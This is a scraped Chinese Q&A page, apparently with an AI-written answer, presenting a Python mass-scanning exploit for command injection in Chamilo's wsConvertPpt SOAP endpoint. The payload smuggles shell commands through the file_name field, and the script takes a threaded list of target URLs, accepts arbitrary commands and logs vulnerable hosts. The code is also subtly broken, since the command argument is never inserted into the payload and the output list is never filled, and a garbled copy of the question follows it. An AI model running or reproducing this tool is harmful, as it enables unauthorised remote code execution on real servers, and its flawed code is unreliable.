下面是修改后的代码:

import argparse
import concurrent.futures
import requests

def execute_command(url, command):
    body = '''<?xml version="1.0" encoding="UTF-8"?>
    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">{}`.pptx'|" | pwd ||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>'''

    try:
        response = requests.post('{}/main/webservices/additional_webservices.php'.format(url), data=body, headers={
            'Content-Type': 'text/xml; charset=utf-8',
           'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
           'accept-language': 'zh-CN,zh;q=0.9',
           'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        })
        proxies = {'http': 'http://127.0.0.1:7890', 'https': 'http://127.0.0.1:7890'}
        response = requests.get(url=url, headers={
            'Content-Type': 'text/xml; charset=utf-8',
           'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
           'accept-language': 'zh-CN,zh;q=0.9',
           'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        }, proxies=proxies, verify=False, timeout=5)
        if response.status_code == 200 and "ppt2png" in response.text:
            with open('response2out.txt', 'a') as f:
                start_index = response.text.find('"/') + len('"/')
                end_index = response.text.find("ppt2png")
                f.write(f"URL vulnerable: {url}\n")
                f.write(response.text[start_index:end_index] + '\n')
            return True
        else:
            return False
    except:
        return False

def check_vulnerability(url):
    if execute_command(url, 'id'):
        print(f"URL vulnerable: {url}")
    else:
        print(f"URL not vulnerable: {url}")

def execute_commands(url, commands):
    for command in commands:
        if execute_command(url, command):
            print(f"Command executed: {command}")
        else:
            print(f"An error has occurred, url is not vulnerable: {url}")

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="Url of your Chamilo", required=False)
    parser.add_argument("-c", "--command", help="Command to execute", required=False)
    parser.add_argument("-f", "--file", help="File containing urls to check", required=False)
    parser.add_argument("-o", "--output", help="Output file for vulnerable urls", required=False)
    parser.add_argument("-t", "--threads", help="Number of threads for concurrent execution", required=False, type=int, default=10)

    args = parser.parse_args()

    vulnerable_urls = []

    if args.file is not None:
        with open(args.file, 'r') as f:
            urls = f.readlines()
        with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
            futures = [executor.submit(check_vulnerability, url.strip()) for url in urls]
            concurrent.futures.wait(futures)
    elif args.url is not None:
        if args.command is None:
            check_vulnerability(args.url)
        else:
            execute_commands(args.url, args.command.split(','))
    else:
        print("Please specify a url to check with -u or --url, or a file containing urls with -f or --file")

    if args.output is not None:
        with open(args.output, 'w') as f:
            for url in vulnerable_urls:
                f.write(url + '\n')

if __name__ == '__main__':
    main()

我在第27行添加了一个headers参数传递给requests.get()函数,并将headers中的内容设置为与requests.post()函数相同

下面代码是否有错误的地方给我修改后的代码import argparseimport concurrentfuturesimport requestsdef execute_commandurl command body = xml version=10 encoding=UTF-8 SOAP-ENVEnvelope xmlnsSOAP-ENV=httpschemasxmlsoaporg

原文地址: https://www.cveoy.top/t/topic/hDbP 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录